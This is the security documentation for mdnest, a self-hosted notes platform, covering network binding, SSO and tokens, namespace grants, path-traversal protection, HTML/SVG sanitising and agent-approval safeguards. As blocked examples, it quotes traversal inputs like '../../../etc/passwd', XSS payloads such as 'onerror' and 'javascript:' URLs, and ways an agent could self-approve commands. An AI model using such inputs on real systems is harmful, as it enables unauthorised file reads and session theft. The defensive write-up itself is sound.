Security
mdnest is a privately-hosted markdown notes platform that runs across shapes that differ widely in scale and threat model:
- Solo: one person on a laptop or a home server, possibly reaching their notes from a phone over a private network.
- Small team: a small company's shared knowledge base on a server (cloud VM or on-prem), users signing in through their corporate identity provider, role-based access to namespaces.
- Organization: an active/active deployment on Kubernetes — the git-native HA topology (stateless app replicas + a single durability writer coordinated through Redis), an external managed PostgreSQL and Redis, OIDC SSO with domain gating and auto-provisioning, per-namespace RBAC, and per-user OAuth for MCP. It scales horizontally without ReadWriteMany storage, and note history stays plain git, mirrored off-cluster. It is not a multi-master or zero-RPO design: writes funnel through one writer, and the HA topology trades a bounded window in which an acknowledged save can be lost — see kubernetes.md before choosing it.
All three share the same engine and the same authorization model; their threat models differ. This doc explains what's enforced, where the boundaries are, and how to harden each.
Defense layers at a glance
flowchart LR
user[User / device] --> net["Network boundary<br/>(loopback, Tailscale,<br/>or HTTPS reverse proxy)"]
net --> idp["Identity<br/>(local password / TOTP,<br/>OIDC SSO, or Firebase)"]
idp --> authz["Authorization<br/>(role hierarchy +<br/>namespace_admins +<br/>access_grants)"]
authz --> path["Path safety<br/>(SafePath traversal<br/>protection)"]
path --> fs[Files on disk<br/>inside mounted dirs]
fs --> render["Rendered content<br/>(DOMPurify sanitization<br/>of markdown + SVG)"]
render --> browser[Browser DOM]The first four layers are independent gates on the way in — a flaw at one is contained by the next, and a request has to pass all four to read or write a file. The fifth guards the way out: note content is user-authored and shared, so it's sanitized before it reaches the DOM.
Layer 1 — Network boundary
The default BIND_ADDRESS=127.0.0.1 means the backend and frontend ports are reachable only from the host machine. Nothing on your LAN, your Wi-Fi, or the public internet can touch them. This is the most important boundary on any deployment, single-user or team.
Three supported ways to expose mdnest beyond the host:
Solo: Tailscale (recommended for personal use)
Tailscale builds an encrypted private network (a tailnet) between machines you control:
- Every connection is end-to-end encrypted with WireGuard.
- Only devices you've authorized can join your tailnet.
- No firewall ports are opened, no public IP is needed.
tailscale serveadds a free trusted HTTPS certificate that's only valid inside your tailnet.
tailscale serve --bg --https 3236 http://127.0.0.1:3236
Result: https://<your-host>.<tailnet>.ts.net:3236. Outside the tailnet the hostname doesn't resolve, so there's nothing to brute-force. The Tailscale guide walks through it, including your phone.
Team: HTTPS reverse proxy (recommended for shared deployments)
For a team install reachable from corporate laptops or via SSO redirects, you want a real public-facing TLS endpoint. mdnest ships built-in support for:
- Caddy — set
CADDY_DOMAIN=notes.example.cominmdnest.conf. setup.sh adds a Caddy container that handles Let's Encrypt automatically, and the backend/frontend become internal-only (not bound to host ports). - Nginx + Certbot — see
docs/setup.mdfor a stock proxy block. - Cloudflare Tunnel — no inbound ports needed;
cloudflared tunnel route dns mdnest notes.example.comis enough.
In all three cases, mdnest itself stays bound to loopback inside Docker and only the proxy is exposed to the outside world. Set FRONTEND_ORIGIN=https://notes.example.com so CORS and SSO callbacks resolve correctly.
Why not just BIND_ADDRESS=0.0.0.0
Binding to all interfaces drops the network boundary entirely. Anyone on the same network sees your login page. That's only acceptable if you're already behind a real reverse proxy that terminates TLS and a firewall that restricts source IPs. Don't do it on a residential network or a public-IP VM with no proxy in front of it.
Multi-IP bind (v3.8.0+)
BIND_ADDRESS accepts a comma-separated list — the published ports bind to each address independently. The common pattern is BIND_ADDRESS=127.0.0.1,100.73.118.115: localhost stays usable on the host, and the Tailscale / WireGuard / VPN address is reachable to your other devices on the overlay network — but the public NIC is still dark. This is strictly safer than 0.0.0.0 because traffic from the LAN or the public internet never reaches the listener at all.
It has one operational catch. Docker publishes a port only if the IP exists when the container starts. A Tailscale or VPN address usually comes up after Docker does, so after a reboot or a Docker restart the containers can run with no port published: docker ps shows them as Up and every request is refused. If the address is missing at the moment Docker starts the container, Docker refuses to start it at all (failed to bind host port <ip>:<port>: cannot assign requested address, exit code 128), and restart: unless-stopped does not retry it, so mdnest stays down. ./mdnest-server status reports both cases, and ./mdnest-server reload fixes it until the next restart. The setup that survives restarts is BIND_ADDRESS=127.0.0.1 with a reverse proxy listening on the overlay address (for Tailscale, tailscale serve does this with no extra software).
Layer 2 — Identity
Three identity providers are supported in multi-user mode (AUTH_MODE=multi), exclusive per server. Plus single-user mode for personal use.
| Mode | USER_PROVIDER |
Password store | MFA |
|---|---|---|---|
| Single-user | n/a (no AUTH_MODE) |
bcrypt in auth.json |
none |
| Multi, local | local (default) |
bcrypt in Postgres users.password_hash |
TOTP (per-user, optional or required via REQUIRE_2FA) |
| Multi, SSO | sso |
n/a — IdP owns identity | IdP-managed (Google/Okta/Entra/Keycloak/Auth0/Clerk) |
| Multi, Firebase | firebase |
n/a — Firebase Auth owns identity | TOTP stored in Firestore (shared across mdnest servers using the same Firebase project) |
Local mode (single or multi)
- Passwords are hashed with bcrypt before being stored.
- The login handler compares using
crypto/subtle.ConstantTimeCompareagainst the bcrypt hash to prevent timing-based username enumeration. - TOTP (Google Authenticator etc.) can be enforced for all users with
REQUIRE_2FA=true. Recovery codes are stored hashed inrecovery_codes. - Default credentials (
MDNEST_USER=admin / MDNEST_PASSWORD=changeme) are only used until first login — change them immediately. The backend logs a warning on startup if defaults are still in use.
SSO mode (USER_PROVIDER=sso)
- mdnest acts as an OIDC relying party — it never sees the user's password. The IdP authenticates the user, hands back an ID token, mdnest verifies signature + nonce + state cookie + PKCE verifier, then checks who the token names before trusting the email claim (v4.5.4+,
checkIdentityinbackend/sso/client.go):- an email the IdP marks unverified (
email_verified: false, boolean or string) is refused for every IdP. An absent claim is refused for Google, which always sends it, and allowed elsewhere, because Microsoft Entra ID omits it by default; - for Google with
SSO_ALLOWED_DOMAINSset, the account must carry anhd(Workspace) claim, because a personal Google account can be registered on a company address and would otherwise pass the email-domain check.gmail.comaddresses are exempt, andhdneed not itself be in the list, since it is the org's primary domain and secondary-domain users carry it too. Other IdPs never sendhdand are not checked for it.
- an email the IdP marks unverified (
- MFA is the IdP's responsibility. mdnest's local TOTP routes are not registered in this mode (
/api/auth/totp/*returns 404). If your IdP requires MFA for the user, that's already enforced by the time the user lands on mdnest's callback.REQUIRE_2FAinmdnest.confis ignored with a log notice. - No auto-provisioning. A successful SSO sign-in still fails with
sso_not_invitedif the email isn't already a row inusers. Operators invite users via the admin panel before they can sign in. This is the only way to keep authorization decoupled from the IdP — you can have someone with a valid corporate Google account who still can't access mdnest. SSO_ALLOWED_DOMAINS=example.comadds an additional email-domain allowlist so a typo in the IdP config doesn't accidentally let any verified Google user in.- Password login can be switched off (
SSO_DISABLE_PASSWORD_LOGIN=true, v4.5.4+, opt-in). In SSO mode the UI shows only the SSO button, butPOST /api/auth/loginotherwise still accepts a username and password — a password prompt on the internet that skips the IdP and its MFA. With the flag it answers403before looking at the credentials, so right and wrong passwords get the same reply. API tokens and the SSO callback are unaffected. - The post-callback JWT is the same shape as a local login (HS256, 30-day expiry,
role+user_idclaims), and the rest of the app sees a normal session.
Firebase mode (USER_PROVIDER=firebase)
- Frontend signs in via Firebase Auth (Google by default), gets a Firebase ID token, posts it to
/api/auth/login. Backend verifies the ID token via the Firebase Admin SDK and matches by email. - TOTP secrets live in Firestore so multiple mdnest servers pointed at the same Firebase project share the same MFA state.
What gets put in the JWT
Every successful sign-in (any mode, any provider) issues an HS256 JWT containing:
| Claim | Notes |
|---|---|
sub |
display name (username, IdP name claim, or email — falls back through) |
user_id |
Postgres users.id |
role |
superadmin, admin, or collaborator (v3.5.0+) |
totp_enabled |
reflects the user's TOTP state at issue time; refreshed at login |
groups (v4.2.0+) |
IdP group IDs from OIDC_GROUPS_CLAIM, snapshotted at login. Omitted when the IdP emits none or the feature is off. |
iat / exp |
30 days (365 with "remember me"; 12 hours for SSO sessions — see below) |
Claims are read from the token, not re-checked per request. role and
groups are taken from the JWT on every request with no database reload. That
means a role change or a group change does not take effect until the user's next
sign-in. It is why SSO sessions, which carry the groups snapshot that drives
authorization, are minted with a deliberately short 12-hour TTL
(ssoJWTTTL) rather than the year-long "remember me" lifetime: it bounds how
long a stale snapshot can outlive a change at the IdP. Password-login TTLs are
unchanged.
Login step tokens are not sessions (v4.6.2+). Between the password and
the second factor (or a forced password change, or forced 2FA setup) the server
issues a 10-minute token carrying a purpose claim. It is signed with the same
secret, so the rule is positive: a session JWT has no purpose claim, and
the auth middleware and the live-collab socket both refuse any token that has
one (middleware.ParseSessionToken). Each step endpoint accepts only its own
purpose (totp, totp_setup, change_password), and forced setup refuses a
user who already has 2FA. Before v4.6.2 the step token worked as a full session,
so the password alone got past TOTP.
If you need to revoke someone now, rotate MDNEST_JWT_SECRET — that
invalidates every active session immediately.
The JWT is signed, not encrypted. Anyone with the token can read its claims. MDNEST_JWT_SECRET is the HMAC key — keep it secret, rotate it if you suspect compromise (rotating invalidates every active session immediately).
API tokens
For headless callers (CLI, MCP server, scripts):
- Generated as 32 cryptographically random bytes encoded as
mdnest_<base64url>. - Stored as SHA-256 hashes — in Postgres (
api_tokens) in multi mode, or thetokens.jsonsecrets file in single mode. The raw token is shown once on creation and never again. - Last 4 chars are kept in plain text so they're recognizable in the UI ("ends in
…a3f9"). - Never expire. Revoke your own via Settings → API Tokens or
DELETE /api/auth/tokens?id=. Settings lists only your own tokens, superadmins included, so another person's token is never mistaken for yours. A superadmin revokes someone else's token from Admin panel → API Tokens (/api/admin/tokens), which shows each token's owner; the server log records who revoked it.
Token scope (v3.5.0+): Tokens resolve to their creator's user context at every request. There is no system-wide admin bypass for tokens. Specifically:
- A SuperAdmin's token has full bypass (matches the user).
- A namespace-admin's token gets bypass only on the namespaces in
namespace_adminsfor that user (request-time lookup). - A collaborator's token is limited to their
access_grants. - Access groups count for a token through their user members. An IdP group
member counts only with
API_TOKEN_GROUPS_MAX_AGE(below). - Revoking a user's grant immediately revokes their tokens for that namespace — there's no lag, no per-token cache.
IdP groups for API tokens (v4.8.14+, opt-in). An API token has no login of its
own, so it has no groups snapshot: by default an IdP-group member of an access group
is ignored for tokens, and a person who reaches a namespace only through an IdP group
sees it in the browser but not from the CLI or an agent. In multi mode with
OIDC_GROUPS_CLAIM set, every SSO login stores the person's IdP groups in
user_oidc_groups (one row per user, replaced at each login, an empty list included;
deleted with the user) (v4.8.15+; before, only with API_TOKEN_GROUPS_MAX_AGE). The
namespace member list (/api/namespace/users: assignee and chat member pickers) uses it
to include the IdP-group members of access groups, for 30 days after that login (or
API_TOKEN_GROUPS_MAX_AGE when longer), so a person removed from the IdP group drops off
it even if they never sign in again; it grants nothing, access is still
checked on every request. With API_TOKEN_GROUPS_MAX_AGE set (a Go duration, e.g.
168h), the person's tokens use that
list until API_TOKEN_GROUPS_MAX_AGE after the login, and none once it is older. The
trade-off is the same as for sessions, over a longer window: leaving an IdP group takes
effect for tokens at the person's next SSO login or when the age is reached, whichever
comes first. Keep the age short enough for your offboarding policy, and use direct user
members or grants where a change must apply at once. Unset or 0: tokens behave as
before.
This was a behaviour change from pre-v3.5.0 where any admin token had unconditional global bypass.
Ownerless tokens are refused in multi mode (v4.6.2+). A token minted in single mode (by mdnest-server create-token or the single-mode UI) has no owner. If the install later switches to multi mode, the one-time tokens.json import carries it into Postgres with no user. Such a token used to reach the permission layer with no user context, which means single mode (allow everything). The auth middleware now answers 401 for it; create a new token in Settings → API Tokens. Deleting a user deletes their tokens (ON DELETE CASCADE), so that does not produce ownerless tokens.
Stickies (v4.5.0+)
The per-user sticky board is the one surface whose content deliberately never leaves the server:
- Not addressable by anyone else.
GET/PUT /api/stickiestakes no user id, path or namespace — the board is keyed server-side from the authenticated identity. Cross-user access is not a check that can be forgotten, it is not expressible in the request. - Outside the namespace tree, so outside git. Boards live in Postgres (
user_stickies) in multi mode and instickies.jsonin the secrets volume in single mode. git-sync walks/data/notes/*/, so nothing in either location can be committed or pushed to a remote. - No encryption, deliberately. The content is not travelling anywhere for encryption to protect — it is at rest behind the same filesystem and database permissions as
auth.jsonandtokens.json. Adding a key would add key-management UX with no marginal gain. An operator who needs at-rest encryption for a shared host should encrypt the volume. - Bounded. 200 cards per board, 4 KB per card, 256 KB per board, and a colour enum — the endpoint is writable by any authenticated user, so without those caps it is a per-user blob store anyone can fill. The same reasoning gave preferences a key allowlist.
- Not backed up. Stated here because it is a security-relevant tradeoff, not just a UX one: a sticky has no git history and no off-server copy. It survives
mdnest-server rebuild(the secrets volume is declared, not part of the image layer) but not the loss of that volume.
Agent approvals (experimental, off by default)
ENABLE_AGENT_APPROVALS lets a person answer an agent's permission prompt
from mdnest. It adds a real risk, and that is why it is off by default on the
server, needs a policy file on each machine, and can be turned on per agent
session.
The added risk. Without approvals, someone who gets into an mdnest account, or finds a script-injection bug in a note, can read and change notes. With approvals, the same access can press Allow and run commands on every machine that opted in for that account. The rules below limit this but cannot remove it, so login protection (2FA, SSO) and the rendered-content sanitising (Layer 5) matter more once it is on.
The rules:
- A decision counts only from a browser login, never from an API token.
The agent runs on its owner's API token, so if a token could decide, the
agent could approve its own request with curl. The auth middleware records
how each request was authenticated, in both auth modes, and
/deciderefuses a token with403. A test drives this through the real middleware and fails if the check is removed. - Only the owner account can see a request's command or decide it. Other
accounts, superadmins included, get
404. - Typed text never approves anything. A "yes" in a chat is a message.
- The command shown is the one that runs. It is taken from the hook's
tool_input, not from the model's description. The hook input is parsed with exact key names, and a duplicate or case-variant key is refused, so the server cannot read a different command than the agent. Argument lists are shell-quoted, and every character outside printable text (control and format characters, right-to-left overrides, zero-width characters, unusual spaces) is shown as an escape. The card renders it as plain text, never as HTML. - The command is never written into a chat note. A chat is a file every member reads and git keeps. The chat gets a marker and a neutral line; the command comes from the owner-only API.
- No silent outcome. A timeout or any failure leaves the agent's normal terminal prompt to answer. Nothing allows or denies on its own.
- No "always allow". One press approves one command. "Allow for this session" returns only the rule the agent itself suggested (for a command, that exact command), forced to the current session, so nothing is written to the agent's settings files; it is offered only when there is such a suggestion, and the card says what it allows.
- A question is answered, not allowed. An AskUserQuestion card cannot be plainly allowed, only answered or denied, and its questions are parsed with the same strict rules as a command.
- The card cannot show a different path. A file path is shortened only
when that cannot change where it points:
~stands only for the agent's own home (from its working folder), and a path with.,.., an empty segment or a backslash is shown whole. The file being written is never cut in the middle; long content shows its first 40 lines and says how many are not shown. - Notices carry no agent text into the chat. The chat gets a fixed line ("Builder on mini is waiting."); the agent's own message is shown only in the owner's approvals list.
- Caps. 64 KB per request, 100 pending per account and 20 per machine label, 60 minutes at most; 50 notices per account, kept 12 hours.
- The allow list from
hook-configlets a Claude Code agent run five chat commands (wait,read,post,status,leave) without asking. Tested on Claude Code 2.1.295: such a rule also passes< filefor a file inside the agent's folder (it asks for one outside, and for$(...), backticks and> file). So the agent can post anything it can read in its folder into the chat without asking. Keep agent chats private, and leave the allow list out for an agent that works on secrets. Requests live in memory only, so nothing about them is written to disk. - The machine decides what may go remote.
~/.config/mdnest/approvals.confnames the one server that may answer, which tools may be sent, and text (sudo,.ssh, ...) that always stays in the terminal. It is read as data and never run.
Layer 3 — Authorization
In multi-user mode, every namespace-scoped request runs through middleware.PermissionChecker. The decision tree:
flowchart TD
R[Request: ns + path + read/write] --> S{Role?}
S -->|superadmin| ALLOW[Allow]
S -->|admin| NS{ns in<br/>namespace_admins<br/>for this user?}
NS -->|yes| ALLOW
NS -->|no| G{Matching row<br/>in access_grants?}
S -->|collaborator| G
G -->|write match for write request| ALLOW
G -->|read match for read request| ALLOW
G -->|none| DENY[403]Three-tier role hierarchy (v3.5.0+)
| Role | Scope | Capabilities |
|---|---|---|
| superadmin | Global | Everything: invite users with any role, manage all grants, promote/demote between roles, delete users, reset 2FA, sync any namespace, manage namespace admins. |
| admin | Per-namespace via namespace_admins(user_id, namespace) rows |
Within their namespaces only: invite users (must specify a namespace they admin), create/edit/revoke grants on those namespaces, promote co-admins, trigger git-sync. Implicit read+write on those namespaces. Cannot reset 2FA, delete users, or change global roles — those are SuperAdmin-only. |
| collaborator | Per-grant rows in access_grants |
Read or write only on the namespaces / paths they've been granted. |
ADMIN_EMAILS in mdnest.conf auto-promotes the listed addresses to superadmin on every startup (idempotent). Removals are not auto-demoted — operators demote explicitly.
First-run bootstrap (v3.11.4+). On a fresh multi-mode install (empty users table) the seeded account — from MDNEST_USER / MDNEST_PASSWORD — is created as superadmin. It's the operator by definition, so it must hold the global role; a namespace-scoped admin with no namespace_admins rows would see zero namespaces and have no way to grant itself access. The count == 0 guard restricts this to the very first user, so later invitees are unaffected. (Set a strong MDNEST_PASSWORD before first boot — the seed uses it verbatim.)
When mdnest is upgraded from a pre-v3.5.0 install, migration 007_namespace_admins renames every existing role='admin' row to role='superadmin' so current operators retain full power. New admins post-upgrade are namespace-scoped — promoted via POST /api/admin/namespace-admins or the admin panel (People or Namespaces tab).
Grant model
access_grants(user_id, namespace, path, permission):
path='/'covers the entire namespace;/foocovers/fooand everything below it.permissionisreadorwrite. Awritegrant satisfies areadrequest automatically.- Grants stack — a user can have multiple grants on the same namespace at different paths.
Every route checks the path it serves (v4.6.2+). Grants can be path-scoped, so "has some grant in the namespace" (RequireNsAccess) is only enough for routes that serve nothing per note. The route table lives in backend/routes.go and is driven over HTTP by backend/routes_test.go:
| Route | Check |
|---|---|
/api/note, /api/tasks, /api/chat |
read for GET, write otherwise, on ?path= |
/api/board |
read on ?path= for GET; changing the namespace's columns needs write on the namespace root |
/api/note/history, /api/note/at, /api/note/attribution, /api/comments (all methods) |
read on ?path= |
/api/folder, /api/upload (plus the file actually written), /api/chat/convert |
write on ?path= |
/api/move |
write on both from and to; from also checks the private chats inside a folder |
/api/files/<ns>/<path> |
read, in the handler |
/api/search, /api/chat/gifs, /api/admin/sync-status |
namespace access, then each result read-checked |
/api/tasks/all, /api/chats |
namespace filter, then each task / chat read-checked by its note |
/api/tree |
grant-filtered listing (names only) |
/api/ws (live collaboration) |
read on the note for every join (and for the older per-note handshake); only writers' edits and cursors are relayed |
Shared editing rooms (v4.8.10+). Joining a note's room is the same /api/ws connection, so it needs read on the note, and a private chat's member list applies (chats are not shared-edited anyway). What the server enforces, in backend/collab/yjs.go:
- A read-only connection may join to receive the room. Anything it sends (document updates, cursors, snapshots, save notices) is dropped: never relayed, never stored, and it is never picked as seeder or saver.
- Cursor labels cannot be forged. The server stamps every relayed cursor update with the sender's account id, and browsers take the name and colour from the server's presence list, never from the update.
- The saver's snapshot is trusted. The browser the server picked as saver can send a compacted copy of the document that replaces the stored updates. A writer could make that copy say anything. That is the same trust a writer already has with
PUT /api/note, which can replace the whole file, so it adds no new power; the file on disk stays the source of truth, and the next save writes whatever the room holds. The server only takes a snapshot it asked for, from the current saver, no larger than the updates it replaces. - Memory is bounded: 32 connections and 32 MB per room, 64 MB per account across rooms, 256 MB across the server, 8 MB per message (the websocket read limit). A room is only created for a note that exists on disk, and a room with unsaved updates is kept at most two minutes after the last person leaves.
- A room closes when its note is moved, renamed or deleted, and a save to the old path is refused (PUT never re-creates a note), so a room cannot write a note back to where it was.
Listings filter with PermissionChecker.ReadFilter, which loads the user's grants once and matches with the same store.GrantsAllow the grant store uses. It is reached through middleware.ReadFilterFor, which fails closed: a multi-mode request without the checker attached sees nothing.
Symbolic links are authorised for what they reach (v4.6.2+). Storage keeps every link inside its namespace, but inside it a link can point from a folder you may read to one you may not. The local backend refuses any path whose resolved target leaves the namespace, reaches a .git folder, or is a dangling link, for every caller. The checker also resolves the path (storage.LinkResolver), refuses a target under .git or .mdnest, and requires the grant on both the name and the target, so Shared/link.md → Private/p.md is refused to a /Shared user and a link within /Shared keeps working. App replicas (MDNEST_ROLE=app) have no filesystem to resolve against, so the writer never caches a linked path for them and refuses a queued write through one.
Private chats narrow a grant (v4.8.4+). A chat with a member list (chat_members, migration 017) is readable and writable only by its members, on top of the grant check. The check is inside PermissionChecker.check, before the namespace-admin shortcut, so every route in the table above applies it, namespace admins included, and ReadFilter leaves non-members' private chats out of every listing. Operations on a whole folder (DELETE /api/note, /api/move, /api/transfer) use the tree-aware CheckWriteTree / CheckReadTree, which refuse when the folder holds a private chat the caller is not on, and a folder /api/download filters each file. A member-list lookup error refuses. Lists are never removed on move or delete, so the old path's git history (/api/note/history, /api/note/at) stays closed; a list whose file is gone is ignored by the folder checks only. A move copies the list to the destination first (replacing what was there) and, if the move fails, restores exactly what it replaced. Removing a member takes their live-collaboration connection out of the chat (Hub.DropUsers), since a connection is authorised when it joins a note: a visit socket (v4.8.13+) leaves only that note and is told, a per-note socket from an older tab is closed. DropUsers then runs every connection in the note through the permission check again, so a join that was being checked against the old list cannot stay (this instance only; a peer behind the Redis backplane keeps its connection until it joins again). A grant change (access-changed) rechecks every connection the same way, on every instance. Keys are lowercased and the checker folds paths the same way, because a case-insensitive mount serves CHATS/SECRET.md as Chats/secret.md. ReadFilter and the namespace-admin shortcut resolve symlinks for private chats, so a link to one leaks nothing. /api/move refuses an existing destination. Adding a member runs under a per-chat advisory lock and re-checks the caller against the current list, so a member removed mid-request cannot add themselves back; making an open chat private needs namespace-admin scope. The list never grants access, and it is not stored in the note, so editing the file cannot change it. git-sync still pushes the file to its remote. backend/routes_chat_members_test.go walks every route as a non-member, and tests/e2e-private-chats-multi.sh runs the store against Postgres.
Access Groups (v4.2.0+)
access_groups + access_group_members + access_group_grants add a second,
opt-in source of the same grant shape. Effective access is the union of a
user's own grants and the grants of every group they belong to; group access is
consulted only after direct grants fail, and a nil group store disables the layer
entirely (single mode, or no database).
A member row is a mdnest user_id XOR an oidc_group id — enforced by a
database CHECK, not just application code. An OIDC-group member may carry a
display label; matching is always on the group id, never the label.
The two member kinds have different revocation latency, and operators must know which they're relying on:
| Member kind | Resolved | Removing access takes effect |
|---|---|---|
| mdnest user | live, per request (WHERE user_id = …) |
immediately |
| OIDC group id | from the groups JWT claim, snapshotted at login |
at next sign-in, bounded by the 12h SSO TTL |
So removing someone from a group in the IdP is not an immediate revocation of
their mdnest access — it takes effect when their session token expires. Removing
them from the mdnest group, deleting the group, or revoking the group's grant all
take effect at once. For an immediate cut-off regardless of source, block the user
or rotate MDNEST_JWT_SECRET.
Group management (/api/admin/groups*) is superadmin-only.
Grant depth limit (v3.5.0+)
GRANT_MAX_DEPTH in mdnest.conf (default 3) caps how deep into a namespace tree a grant's path can go:
/→ depth 0 (always allowed)/projectA→ 1/projectA/sub→ 2/projectA/sub/leaf→ 3 (allowed at default 3; rejected at 2)
The cap stops admins from creating overly-narrow grants that are hard to audit. Existing grants are grandfathered — only new INSERTs are checked. Set to 0 for no limit. The PathPicker in the admin UI uses the same value to hide too-deep folders, so admins can't pick something the API will reject.
Layer 4 — Path safety
The backend cannot read or write outside your mounted directories, regardless of authorization.
SafePath (in backend/handlers/path.go) is called by every handler that takes a user-supplied path. It enforces:
- Path must not be empty.
- Cleaned path must not be absolute.
- Cleaned path must not start with
... - After joining with the namespace base directory, the resolved path (with symlinks followed) must remain within the base directory.
- No segment may be
.gitor.mdnest(v4.6.2+), compared case-insensitively and ignoring trailing dots/spaces and zero-width characters. A write into.git(core.fsmonitor, a hook) runs commands the next time git touches the tree, and.mdnestholds every note's comment thread. The rule lives inrelpath.Clean, which both the permission middleware and the handlers use, so no route can skip it; the local storage backend refuses.gitagain on its own. Server-built.mdnestpaths (comment sidecars,board.json) never come from a request and are unaffected.
RequireNamespace validates that ?ns=<name> is a simple identifier (no slashes, no . prefix) and that the directory exists under NOTES_DIR.
This blocks:
?path=../../../etc/passwd(parent traversal)?ns=../other-namespace(sibling escape)- A symlink in your notes pointing at
/etc/(resolved and rejected)
Path safety is enforced before authorization, so even if the role/grant logic had a bug, the filesystem boundary still holds.
/api/files/ takes its namespace from the path (v3.11.7+)
Every other content endpoint receives its namespace as ?ns=<name>, which lets the permission middleware wrap the route generically. GET /api/files/<ns>/<path> — the endpoint serving uploaded images and attachments to <img> tags — carries the namespace in the URL path instead, so it can't use that middleware and enforces the read check inside the handler.
Before v3.11.7 it enforced nothing: the route was registered with authentication only, so any authenticated principal — including an API token — could read any file in any namespace by guessing the URL. It now calls the same CheckRead(ns, path) used by RequireRead, and returns 403 {"error":"access denied"} on a namespace the caller has no grant for. Single-user mode constructs the handler with a nil PermissionChecker and is unaffected.
If you add a route whose namespace isn't in ?ns=, the check must be explicit in the handler — the middleware cannot see it. backend/handlers/upload_test.go pins this behaviour.
Download and transfer (v4.7.0+)
GET /api/download is guarded by RequireRead on the cleaned ?path=, the same check as reading a note. It is deliberately not RequireNsAccess, which only asks whether the caller has some grant in the namespace: with that, a user granted /Shared could zip /Private.
POST /api/transfer names two namespaces in its JSON body, so the query-param middleware cannot guard it. The handler checks both sides itself:
- a copy needs read on the source;
- a move needs write on the source (what
/api/moverequires); - both need write on the destination.
Grants cover a path and everything below it, so checking the two roots covers every file carried. Paths are cleaned with relpath.Clean before they are authorised, exactly as they are used. The check functions are required constructor arguments, and a nil one denies. Every refusal (400/403/404/409/413) happens before the first write.
What neither endpoint will carry:
- Symbolic links. Both endpoints authorise through
CheckRead/CheckWrite, which since v4.6.2 resolve a link and authorise the file it reaches as well as its name (storage.LinkResolver). SoShared/link.md -> Private/p.md, a linked folder, or a linked destination folder gets a /Shared user a 403. Inside a folder, a zip leaves links out, and a transfer refuses the folder, because a move would delete them. .git/and.mdnest/.relpath.Cleanrefuses them on both sides of a transfer and on a download path, case-insensitively (the v4.6.2 rule). A walk skips nested ones by the same rule (relpath.IsReservedSegment), so history, possibly remote credentials, and app data are never exported or carried along.- Backslashes in zip entry names. One is an ordinary character in a Linux file name but a path separator to Windows extractors, so entry names have it replaced.
Note identity. The <!-- mdnest:<uuid> --> marker names a note's comment thread.
POST /api/noteandPATCH /api/note(append/prepend) remove every marker from incoming text in one linear pass, so no client can give a note another note's identity and thread. Stripping markers one at a time was quadratic, which made a 10 MB body of markers a CPU denial of service.- A move carries a thread only when no note left behind still claims that ID, and never into a destination that already has a thread under that ID.
- Only lines that decode as comments are carried, so a comment file planted by hand, for example via upload, cannot inject content into another namespace.
Commit history. Commit-body annotations collapse control characters, so a file name holding a newline cannot forge a line such as a Co-authored-by trailer. The annotations do name the other side's namespace:path, so a cross-namespace move records the source path in the destination's history and remote. That is by design.
Limits. Folder downloads and transfers are capped by DOWNLOAD_MAX_FILES (500) and DOWNLOAD_MAX_MB (100).
- The tree is counted before anything is streamed or written.
- The count stops as soon as a limit is passed, and folders count toward an entry cap, so refusing a huge namespace costs a bounded walk, not a full one.
- A running byte budget stops a zip whose files grew in the meantime.
- Zip downloads and real transfers each hold one slot per user and one of
DOWNLOAD_MAX_CONCURRENT(2) server-wide. An API token counts as its user; single mode is one user. A download takes its slot before the walk. - Slots are taken without blocking (a busy server answers 429) and released on every exit, including a client that hangs up.
- A transfer dry run takes no slot, so the picker's checks can never starve a transfer.
- A move reads at most 5,000 notes to learn which comment IDs are still claimed. Past that it carries no threads and leaves them in place.
Content-Disposition carries an ASCII filename= (quotes, backslashes, control and non-ASCII characters replaced) and an RFC 5987 filename*= with every byte outside the attr-char set percent-encoded, so a name cannot break out of the header.
App tier. On MDNEST_ROLE=app replicas, both endpoints forward to the writer (as uploads and history do), which owns the durable tree. Edits still in the durability queue may not have reached it yet.
Files that could run script are served inert (v4.5.5+)
Anyone who can write a note can save a .svg or .html file next to it,
and chat invites agents to write SVG avatars.
Opened directly from /api/files/, such a file is a document on mdnest's
own origin, where a <script> inside it could read the viewer's session
token. Two headers stop that:
- Every file is served with
X-Content-Type-Options: nosniff, so a browser never guesses a more powerful type than the one declared. - Active formats (
.svg,.svgz,.html,.htm,.xhtml,.xml,.js,.mjs) also getContent-Security-Policy: default-src 'none'; … sandbox. A directly opened file then runs no script, in a unique origin. Images shown through<img>are unaffected. - A file whose extension has no known type is served as
application/octet-streamrather than left for the browser (or Go'shttp.ServeContent) to guess from its bytes, so an extension-less file containing HTML is never served as a page. The sandbox is also applied to any HTML, XML or JavaScript type the host's mime table maps an extension to, not only the extensions listed above.
TestServeFileActiveContentIsSandboxed in backend/handlers/upload_test.go
pins both headers.
Layer 5 — Rendered content (v3.11.7+)
Note bodies are user-authored, and in multi-user mode they're shared between users — so anything a note can put on screen is an injection surface. marked passes raw HTML through by design, which means a note containing <img src=x onerror=…> or <a href="javascript:…"> executed in the browser of anyone who previewed it.
All markup mdnest injects into the DOM now passes through frontend/src/sanitize.js (DOMPurify) first. Three call sites are covered:
| Where | Function | What it renders |
|---|---|---|
Preview.jsx |
sanitizeHtml |
marked() output for a note body |
ReleaseNotesModal.jsx |
sanitizeHtml |
release notes fetched from the GitHub API |
Preview.jsx, MermaidViewer.jsx |
sanitizeSvg |
mermaid-rendered SVG |
Preview.jsx (v4.2.0+) |
sanitizeSvg |
Excalidraw-exported SVG for a read-only drawing embed |
Stripped: event-handler attributes (onerror, onclick, …), dangerous URI schemes (javascript:, data: in active contexts), <script>, <iframe>, <object>, <embed>, <form>. Preserved deliberately: class, data-* (the Preview's mermaid and task-checkbox post-passes depend on them), <input type="checkbox"> task items, and target — with an afterSanitizeAttributes hook forcing rel="noopener noreferrer" on target="_blank" so external links can't reach back into the opener.
sanitizeSvg must keep foreignObject. DOMPurify's SVG profile excludes it, but mermaid renders every flowchart node label inside one (htmlLabels defaults to true), so the bare profile silently deletes the text of every label while the shapes still draw. Allowing the element doesn't weaken anything — DOMPurify still descends into the subtree and strips scripts, iframes, and handlers. Don't "fix" it by also allowing div/span: once those are on the allow-list they fail DOMPurify's namespace check instead of being unwrapped, and the labels disappear again. frontend/src/__tests__/sanitize.test.js pins both directions.
